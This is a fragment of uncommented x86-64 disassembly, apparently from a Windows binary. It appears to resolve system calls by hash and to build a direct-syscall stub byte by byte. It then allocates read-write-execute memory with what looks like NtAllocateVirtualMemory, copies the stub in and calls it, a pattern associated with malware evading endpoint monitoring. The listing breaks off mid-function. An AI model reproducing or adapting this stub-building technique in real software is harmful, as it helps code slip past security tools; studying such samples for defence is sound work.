mov rax, qword [rsp + 0xb770]
mov qword [rsp + 0xb8f0], rax
mov byte [rsp + 0x43a], 0
mov byte [rsp + 0x43b], 0
mov rax, qword [rsp + 0xb778]
mov qword [rsp + 0xb8f8], rax
mov byte [rsp + 0x43c], 0
mov byte [rsp + 0x43d], 0
mov rax, qword [rsp + 0xb780]
mov qword [rsp + 0xb900], rax
mov byte [rsp + 0x43e], 0
mov byte [rsp + 0x43f], 0
mov rax, qword [rsp + 0xb788]
mov qword [rsp + 0xb908], rax
mov eax, dword [rsp + 0x67a8]
mov dword [rsp + 0x2eb0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10340]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb790], rax
lea r8, [rsp + 0x2eb0]
lea rdx, [rsp + 0x5998]
mov rcx, qword [rsp + 0xb790]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb798], rax
lea rdx, [rsp + 0x11758]
mov rcx, qword [rsp + 0xb798]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5998]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14014af0d
mov qword [rsp + 0x59a0], 0
jmp 0x14014af26
lea rcx, [rsp + 0x5998]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x59a0], rax
mov rax, qword [rsp + 0x59a0]
mov qword [rsp + 0xb7a0], rax
lea rcx, [rsp + 0x10340]
call fcn.1400a0f10
mov rax, qword [rsp + 0xb7a0]
mov qword [rsp + 0x59a8], rax
cmp qword [rsp + 0x59a8], 0
je 0x14014af83
mov rax, qword [rsp + 0x59a8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2eb8], eax
mov eax, dword [rsp + 0x2eb8]
mov dword [rsp + 0x67ac], eax
jmp 0x14014ba11
lea rax, [rsp + 0x6ff4]
mov qword [rsp + 0xb7a8], rax
xor edx, edx
mov rcx, qword [rsp + 0xb7a8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2ebc], eax
lea rax, [rsp + 0x6ff8]
mov qword [rsp + 0xb7b0], rax
mov edx, dword [rsp + 0x67a8]
mov rcx, qword [rsp + 0xb7b0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2ec0], eax
mov eax, dword [rsp + 0x2ebc]
mov dword [rsp + 0xdb0], eax
mov eax, dword [rsp + 0x2ec0]
mov dword [rsp + 0xdc8], eax
xor edx, edx
lea rcx, [rsp + 0x2ec4]
call fcn.14009b2f0
lea rdx, [rsp + 0x2ec4]
lea rcx, [rsp + 0xdc8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14014b030
mov qword [rsp + 0x14c8], 0
jmp 0x14014b92f
mov byte [rsp + 0x440], 1
mov qword [rsp + 0x6ae0], 0
mov qword [rsp + 0x6ae8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x4108], rax
mov eax, 1
test eax, eax
je 0x14014b082
mov rax, qword [rsp + 0x4108]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x59b0], rax
jmp 0x14014b095
mov rax, qword [rsp + 0x4108]
mov rax, qword [rax]
mov qword [rsp + 0x59b0], rax
mov rax, qword [rsp + 0x59b0]
mov qword [rsp + 0x6ae0], rax
mov rax, qword [rsp + 0x4108]
mov qword [rsp + 0x6ae8], rax
lea rax, [rsp + 0x6ae0]
mov qword [rsp + 0x59b8], rax
lea rdx, [rsp + 0x14c0]
mov rcx, qword [rsp + 0x59b8]
call fcn.14018efb0
lea rdx, [rsp + 0xb7b8]
mov rcx, qword [rsp + 0x59b8]
call fcn.140190a30
jmp 0x14014b104
mov rax, qword [rsp + 0x14c0]
mov rax, qword [rax]
mov qword [rsp + 0x14c0], rax
mov rax, qword [rsp + 0xb7b8]
cmp qword [rsp + 0x14c0], rax
je 0x14014b123
mov dword [rsp + 0xdac], 1
jmp 0x14014b12e
mov dword [rsp + 0xdac], 0
movzx eax, byte [rsp + 0xdac]
test eax, eax
je 0x14014b923
xor edx, edx
mov rcx, qword [rsp + 0x14c0]
call fcn.140096d90
mov qword [rsp + 0xb7c0], rax
lea rax, [rsp + 0xb7c0]
mov qword [rsp + 0x59c0], rax
xor edx, edx
lea rcx, [rsp + 0x2ec8]
call fcn.14009b2f0
lea rdx, [rsp + 0x2ec8]
lea rcx, [rsp + 0xdb0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14014b3ce
mov rax, qword [rsp + 0x59c0]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xb7c8], rax
lea rdx, [rsp + 0x12af8]
mov rcx, qword [rsp + 0xb7c8]
call fcn.14019acf0
lea rcx, [rsp + 0x10350]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xdb0]
mov dword [rsp + 0x2ecc], eax
lea rax, [rsp + 0xd3d0]
lea rcx, [rsp + 0x10350]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x2ecc]
mov dword [rsp + 0xdb8], eax
lea rax, [rsp + 0x2ed0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2ed0]
call fcn.14009b310
mov qword [rsp + 0xb7d0], rax
lea rax, [rsp + 0x10360]
lea rcx, [rsp + 0xd3d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x10370]
lea rcx, [rsp + 0x10360]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x10370]
mov rcx, qword [rsp + 0xb7d0]
call fcn.140097890
mov dword [rsp + 0x2ed8], eax
lea rcx, [rsp + 0xd3d0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xb7d8], rax
mov r9, qword [rsp + 0xb7d8]
xor r8d, r8d
lea rdx, [rsp + 0x10380]
lea rcx, [rsp + 0xd3d0]
call fcn.14019ab70
lea rax, [rsp + 0x2ed4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2ed4]
call fcn.14009b310
mov qword [rsp + 0xb7e0], rax
lea rax, [rsp + 0x10390]
lea rcx, [rsp + 0x10380]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x103a0]
lea rcx, [rsp + 0x10390]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x103a0]
mov rcx, qword [rsp + 0xb7e0]
call fcn.140097890
mov dword [rsp + 0x2ee0], eax
mov edx, dword [rsp + 0x2ed8]
lea rcx, [rsp + 0x2edc]
call fcn.14009b2f0
lea rdx, [rsp + 0x2edc]
lea rcx, [rsp + 0xdb8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14014b3b2
mov edx, dword [rsp + 0x2ee0]
lea rcx, [rsp + 0x2ee4]
call fcn.14009b2f0
lea rdx, [rsp + 0x2ee4]
lea rcx, [rsp + 0xdb8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14014b3b2
mov dword [rsp + 0xdc0], 1
jmp 0x14014b3bd
mov dword [rsp + 0xdc0], 0
movzx eax, byte [rsp + 0xdc0]
test eax, eax
je 0x14014b3ce
jmp 0x14014b0f1
mov rax, qword [rsp + 0x59c0]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x59c8], rax
mov rax, qword [rsp + 0x59c8]
mov qword [rsp + 0x4588], rax
mov rax, qword [rsp + 0x59c8]
mov qword [rsp + 0xb7e8], rax
mov rax, qword [rsp + 0xb7e8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xb7f0], rax
mov rax, qword [rsp + 0xb7f0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xb7f8], rax
mov eax, dword [rsp + 0xb7f8]
add rax, qword [rsp + 0x4588]
mov qword [rsp + 0xb800], rax
mov rax, qword [rsp + 0xb800]
mov qword [rsp + 0x4590], rax
lea rdx, [rsp + 0xdc8]
lea rcx, [rsp + 0x6ffc]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11fc0]
lea rcx, [rsp + 0x4588]
call fcn.140097040
lea rdx, [rsp + 0x13b28]
lea rcx, [rsp + 0x4588]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11fc0]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14014b4ba
jmp 0x14014b0f1
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14014b53d
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11fd0]
mov qword [rsp + 0x59d0], rax
mov rcx, qword [rsp + 0x59d0]
call fcn.140097960
mov qword [rsp + 0x11760], rax
mov rcx, qword [rsp + 0x59d0]
call fcn.140097950
mov qword [rsp + 0x4118], rax
mov rax, qword [rsp + 0x4118]
mov rax, qword [rax]
mov qword [rsp + 0x59e8], rax
mov rax, qword [rsp + 0x4588]
mov qword [rsp + 0xb808], rax
mov rax, qword [rsp + 0xb808]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xb810], rax
mov rax, qword [rsp + 0xb810]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x59d8], rax
mov eax, dword [rsp + 0x59d8]
add rax, qword [rsp + 0x4588]
mov qword [rsp + 0x59e0], rax
mov eax, dword [rsp + 0x59dc]
mov rcx, qword [rsp + 0x59e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb818], rax
mov rax, qword [rsp + 0x59e0]
cmp qword [rsp + 0x59e8], rax
jb 0x14014b62f
mov qword [rsp + 0x14c8], 0
mov rax, qword [rsp + 0x14c8]
mov qword [rsp + 0x4120], rax
lea rcx, [rsp + 0x4120]
call fcn.1400a2c10
mov qword [rsp + 0xb870], rax
mov eax, dword [rsp + 0x67a8]
mov dword [rsp + 0x2ef8], eax
mov rax, qword [rsp + 0xb870]
mov qword [rsp + 0xb878], rax
mov eax, dword [rsp + 0x2ef8]
mov dword [rsp + 0x2f00], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10420]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb880], rax
lea r9, [rsp + 0xb878]
lea r8, [rsp + 0x2f00]
lea rdx, [rsp + 0x12b18]
mov rcx, qword [rsp + 0xb880]
call fcn.140098320
lea rcx, [rsp + 0x10420]
call fcn.1400a0f80
lea rcx, [rsp + 0x4120]
call fcn.1400a2c10
mov qword [rsp + 0xb888], rax
mov rax, qword [rsp + 0xb888]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2f08], eax
mov eax, dword [rsp + 0x2f08]
mov dword [rsp + 0x67ac], eax
lea rax, [rsp + 0x67b0]
mov qword [rsp + 0xb890], rax
mov eax, dword [rsp + 0x67ac]
mov dword [rsp + 0x2f10], eax
mov rax, qword [rsp + 0xb890]
add rax, 0x11
mov qword [rsp + 0xb898], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xb898]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2f10]
mov dword [rax], ecx
lea rax, [rsp + 0x67b0]
mov qword [rsp + 0x6a8], rax
mov rax, qword [rsp + 0x6a8]
add rax, 0x10
mov qword [rsp + 0x11768], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xb8a0], rax
mov qword [rsp + 0x59f0], 0
mov qword [rsp + 0xb8a8], 0xd
mov rax, qword [rsp + 0xb8a0]
mov qword [rsp + 0xb8b0], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xb8a8]
xor r8d, r8d
lea rdx, [rsp + 0x59f0]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xb8b0]
mov dword [rsp + 0x2f18], eax
cmp dword [rsp + 0x2f18], 0
jl 0x14014bb13
mov rax, qword [rsp + 0x59f0]
mov qword [rsp + 0x59f8], rax
jmp 0x14014bb1f
mov qword [rsp + 0x59f8], 0
mov rax, qword [rsp + 0x59f8]
mov qword [rsp + 0xb8b8], rax
mov rax, qword [rsp + 0x6a8]
mov rcx, qword [rsp + 0xb8b8]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x6a8]
cmp qword [rax + 8], 0
jne 0x14014bb54
jmp 0x14014bb98
mov rax, qword [rsp + 0x6a8]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x6a8]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x6a8]
mov rcx, qword [rsp + 0x6a8]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x67b0]
mov qword [rsp + 0xb910], rax
mov rax, qword [rsp + 0xb8c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xb8c8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb8d0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xb8d8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xb8e0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb8e8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb8f0]
mov r8, qword [rsp + 0xb8f8]
mov rdx, qword [rsp + 0xb900]
mov rcx, qword [rsp + 0xb908]
call qword [rsp + 0xb910]
mov dword [rsp + 0x2f1c], eax
lea rcx, [rsp + 0x67a8]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x2f1c]
mov dword [rsp + 0x2f20], eax
cmp dword [rsp + 0x2f20], 0
jge 0x14014bc53
mov byte [rsp + 0x96], 0
jmp 0x14014bc5b
mov byte [rsp + 0x96], 1
mov eax, dword [rsp + 0x1a8]
dec eax
mov dword [rsp + 0x1a8], eax
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x5a00], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb918], rax
mov rax, qword [rsp + 0xb918]
mov qword [rsp + 0xb960], rax
cmp qword [rsp + 0x730], 0
je 0x14014bcb9
cmp qword [rsp + 0x5a00], 0
je 0x14014bcb9
xor eax, eax
cmp rax, 4
jne 0x14014bcc6
mov byte [rsp + 0x97], 0
jmp 0x14014ce25
lea rax, [rsp + 0xdb38]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xdb38], 0x33
mov rax, qword [rsp + 0x5a00]
mov qword [rsp + 0xdb48], rax
mov rax, qword [rsp + 0x730]
mov qword [rsp + 0xdb50], rax
mov qword [rsp + 0xdb58], 4
mov dword [rsp + 0x2f64], 0
mov qword [rsp + 0xb928], 0
mov qword [rsp + 0xb930], 0x28
lea rax, [rsp + 0xdb38]
mov qword [rsp + 0xb938], rax
lea rax, [rsp + 0x12b28]
mov qword [rsp + 0xb940], rax
mov qword [rsp + 0xb948], 0
mov qword [rsp + 0xb950], 0
mov qword [rsp + 0xb958], 0
mov dword [rsp + 0x2f24], 0x9363e455
mov eax, dword [rsp + 0x2f24]
mov dword [rsp + 0x2f28], eax
lea rcx, [rsp + 0x2f28]
call fcn.1400a2c20
mov dword [rsp + 0x67d0], eax
mov dword [rsp + 0x67d4], 0
lea rax, [rsp + 0x67d8]
mov qword [rsp + 0xb920], rax
mov dword [rsp + 0x2f60], 0x49
mov dword [rsp + 0x2f5c], 0x89
mov dword [rsp + 0x2f58], 0xca
mov dword [rsp + 0x2f54], 0x48
mov dword [rsp + 0x2f50], 0xc7
mov dword [rsp + 0x2f4c], 0xc0
mov dword [rsp + 0x2f48], 0x3f
mov dword [rsp + 0x2f44], 0x10
mov dword [rsp + 0x2f40], 0
mov dword [rsp + 0x2f3c], 0
mov dword [rsp + 0x2f38], 0xf
mov dword [rsp + 0x2f34], 5
mov dword [rsp + 0x2f30], 0xc3
lea rax, [rsp + 0x2f30]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2f34]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2f38]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2f3c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2f40]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2f44]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2f48]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2f4c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2f50]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2f54]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2f58]
lea r8, [rsp + 0x2f5c]
lea rdx, [rsp + 0x2f60]
mov rcx, qword [rsp + 0xb920]
call fcn.14008f900
mov byte [rsp + 0x441], 1
mov byte [rsp + 0x442], 0
movsxd rax, dword [rsp + 0x2f64]
mov qword [rsp + 0xba98], rax
mov byte [rsp + 0x443], 0
mov byte [rsp + 0x444], 0
mov rax, qword [rsp + 0xb928]
mov qword [rsp + 0xbaa0], rax
mov byte [rsp + 0x445], 0
mov byte [rsp + 0x446], 1
mov rax, qword [rsp + 0xb930]
mov qword [rsp + 0xbaa8], rax
mov byte [rsp + 0x447], 0
mov byte [rsp + 0x448], 0
mov rax, qword [rsp + 0xb938]
mov qword [rsp + 0xbab0], rax
mov byte [rsp + 0x449], 0
mov byte [rsp + 0x44a], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xbab8], rax
mov byte [rsp + 0x44b], 0
mov byte [rsp + 0x44c], 0
mov rax, qword [rsp + 0xb940]
mov qword [rsp + 0xbac0], rax
mov byte [rsp + 0x44d], 0
mov byte [rsp + 0x44e], 0
mov rax, qword [rsp + 0xb948]
mov qword [rsp + 0xbac8], rax
mov byte [rsp + 0x44f], 0
mov byte [rsp + 0x450], 0
mov rax, qword [rsp + 0xb950]
mov qword [rsp + 0xbad0], rax
mov byte [rsp + 0x451], 0
mov byte [rsp + 0x452], 0
mov rax, qword [rsp + 0xb958]
mov qword [rsp + 0xbad8], rax
mov byte [rsp + 0x453], 0
mov byte [rsp + 0x454], 0
mov rax, qword [rsp + 0xb960]
mov qword [rsp + 0xbae0], rax
mov eax, dword [rsp + 0x67d0]
mov dword [rsp + 0x2f68], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10430]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb968], rax
lea r8, [rsp + 0x2f68]
lea rdx, [rsp + 0x5a08]
mov rcx, qword [rsp + 0xb968]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xb970], rax
lea rdx, [rsp + 0x11770]
mov rcx, qword [rsp + 0xb970]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5a08]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14014c0d7
mov qword [rsp + 0x5a10], 0
jmp 0x14014c0f0
lea rcx, [rsp + 0x5a08]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5a10], rax
mov rax, qword [rsp + 0x5a10]
mov qword [rsp + 0xb978], rax
lea rcx, [rsp + 0x10430]
call fcn.1400a0f10
mov rax, qword [rsp + 0xb978]
mov qword [rsp + 0x5a18], rax
cmp qword [rsp + 0x5a18], 0
je 0x14014c14d
mov rax, qword [rsp + 0x5a18]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2f70], eax
mov eax, dword [rsp + 0x2f70]
mov dword [rsp + 0x67d4], eax
jmp 0x14014cbdb
lea rax, [rsp + 0x7008]
mov qword [rsp + 0xb980], rax
xor edx, edx
mov rcx, qword [rsp + 0xb980]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2f74], eax
lea rax, [rsp + 0x700c]
mov qword [rsp + 0xb988], rax
mov edx, dword [rsp + 0x67d0]
mov rcx, qword [rsp + 0xb988]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2f78], eax
mov eax, dword [rsp + 0x2f74]
mov dword [rsp + 0xdd8], eax
mov eax, dword [rsp + 0x2f78]
mov dword [rsp + 0xdf0], eax
xor edx, edx
lea rcx, [rsp + 0x2f7c]
call fcn.14009b2f0
lea rdx, [rsp + 0x2f7c]
lea rcx, [rsp + 0xdf0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14014c1fa
mov qword [rsp + 0x14d8], 0
jmp 0x14014caf9
mov byte [rsp + 0x455], 1
mov qword [rsp + 0x6b00], 0
mov qword [rsp + 0x6b08], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x4128], rax
mov eax, 1
test eax, eax
je 0x14014c24c
mov rax, qword [rsp + 0x4128]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5a20], rax
jmp 0x14014c25f
mov rax, qword [rsp + 0x4128]
mov rax, qword [rax]
mov qword [rsp + 0x5a20], rax
mov rax, qword [rsp + 0x5a20]
mov qword [rsp + 0x6b00], rax
mov rax, qword [rsp + 0x4128]
mov qword [rsp + 0x6b08], rax
lea rax, [rsp + 0x6b00]
mov qword [rsp + 0x5a28], rax
lea rdx, [rsp + 0x14d0]
mov rcx, qword [rsp + 0x5a28]
call fcn.14018efb0
lea rdx, [rsp + 0xb990]
mov rcx, qword [rsp + 0x5a28]
call fcn.140190a30
jmp 0x14014c2ce
mov rax, qword [rsp + 0xb990]
cmp qword [rsp + 0x14d0], rax
je 0x14014c2ed
mov dword [rsp + 0xdd4], 1
jmp 0x14014c2f8
mov dword [rsp + 0xdd4], 0
movzx eax, byte [rsp + 0xdd4]
test eax, eax
je 0x14014caed
xor edx, edx
mov rcx, qword [rsp + 0x14d0]
call fcn.140096d90
mov qword [rsp + 0xb998], rax
lea rax, [rsp + 0xb998]
mov qword [rsp + 0x5a30], rax
xor edx, edx
lea rcx, [rsp + 0x2f80]
call fcn.14009b2f0
lea rdx, [rsp + 0x2f80]
lea rcx, [rsp + 0xdd8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14014c598
mov rax, qword [rsp + 0x5a30]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xb9a0], rax
lea rdx, [rsp + 0x12b38]
mov rcx, qword [rsp + 0xb9a0]
call fcn.14019acf0
lea rcx, [rsp + 0x10440]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xdd8]
mov dword [rsp + 0x2f84], eax
lea rax, [rsp + 0xd3e0]
lea rcx, [rsp + 0x10440]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x2f84]
mov dword [rsp + 0xde0], eax
lea rax, [rsp + 0x2f88]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2f88]
call fcn.14009b310
mov qword [rsp + 0xb9a8], rax
lea rax, [rsp + 0x10450]
lea rcx, [rsp + 0xd3e0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x10460]
lea rcx, [rsp + 0x10450]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x10460]
mov rcx, qword [rsp + 0xb9a8]
call fcn.140097890
mov dword [rsp + 0x2f90], eax
lea rcx, [rsp + 0xd3e0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xb9b0], rax
mov r9, qword [rsp + 0xb9b0]
xor r8d, r8d
lea rdx, [rsp + 0x10470]
lea rcx, [rsp + 0xd3e0]
call fcn.14019ab70
lea rax, [rsp + 0x2f8c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2f8c]
call fcn.14009b310
mov qword [rsp + 0xb9b8], rax
lea rax, [rsp + 0x10480]
lea rcx, [rsp + 0x10470]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x10490]
lea rcx, [rsp + 0x10480]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x10490]
mov rcx, qword [rsp + 0xb9b8]
call fcn.140097890
mov dword [rsp + 0x2f98], eax
mov edx, dword [rsp + 0x2f90]
lea rcx, [rsp + 0x2f94]
call fcn.14009b2f0
lea rdx, [rsp + 0x2f94]
lea rcx, [rsp + 0xde0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14014c57c
mov rax, qword [rsp + 0x5a30]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5a38], rax
mov rax, qword [rsp + 0x5a38]
mov qword [rsp + 0x4598], rax
mov rax, qword [rsp + 0x5a38]
mov qword [rsp + 0xb9c0], rax
mov rax, qword [rsp + 0xb9c0]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xb9c8], rax
mov rax, qword [rsp + 0xb9c8]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xb9d0], rax
mov eax, dword [rsp + 0xb9d0]
add rax, qword [rsp + 0x4598]
mov qword [rsp + 0xb9d8], rax
mov rax, qword [rsp + 0xb9d8]
mov qword [rsp + 0x45a0], rax
lea rdx, [rsp + 0xdf0]
lea rcx, [rsp + 0x7010]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11fe8]
lea rcx, [rsp + 0x4598]
call fcn.140097040
lea rdx, [rsp + 0x13b50]
lea rcx, [rsp + 0x4598]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11fe8]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14014c684
mov qword [rsp + 0x14d8], 0
mov rax, qword [rsp + 0x14d8]
mov qword [rsp + 0x4140], rax
lea rcx, [rsp + 0x4140]
call fcn.1400a2c10
mov qword [rsp + 0xba48], rax
mov eax, dword [rsp + 0x67d0]
mov dword [rsp + 0x2fb0], eax
mov rax, qword [rsp + 0xba48]
mov qword [rsp + 0xba50], rax
mov eax, dword [rsp + 0x2fb0]
mov dword [rsp + 0x2fb8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10510]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xba58], rax
lea r9, [rsp + 0xba50]
lea r8, [rsp + 0x2fb8]
lea rdx, [rsp + 0x12b48]
mov rcx, qword [rsp + 0xba58]
call fcn.140098320
lea rcx, [rsp + 0x10510]
call fcn.1400a0f80
lea rcx, [rsp + 0x4140]
call fcn.1400a2c10
mov qword [rsp + 0xba60], rax
mov rax, qword [rsp + 0xba60]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2fc0], eax
mov eax, dword [rsp + 0x2fc0]
mov dword [rsp + 0x67d4], eax
lea rax, [rsp + 0x67d8]
mov qword [rsp + 0xba68], rax
mov eax, dword [rsp + 0x67d4]
mov dword [rsp + 0x2fc8], eax
mov rax, qword [rsp + 0xba68]
add rax, 0x11
mov qword [rsp + 0xba70], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xba70]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x2fc8]
mov dword [rax], ecx
lea rax, [rsp + 0x67d8]
mov qword [rsp + 0x6b0], rax
mov rax, qword [rsp + 0x6b0]
add rax, 0x10
mov qword [rsp + 0x11780], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xba78], rax
mov qword [rsp + 0x5a60], 0
mov qword [rsp + 0xba80], 0xd
mov rax, qword [rsp + 0xba78]
mov qword [rsp + 0xba88], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xba80]
xor r8d, r8d
lea rdx, [rsp + 0x5a60]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xba88]
mov dword [rsp + 0x2fd0], eax
cmp dword [rsp + 0x2fd0], 0
jl 0x14014ccdd
mov rax, qword [rsp + 0x5a60]
mov qword [rsp + 0x5a68], rax
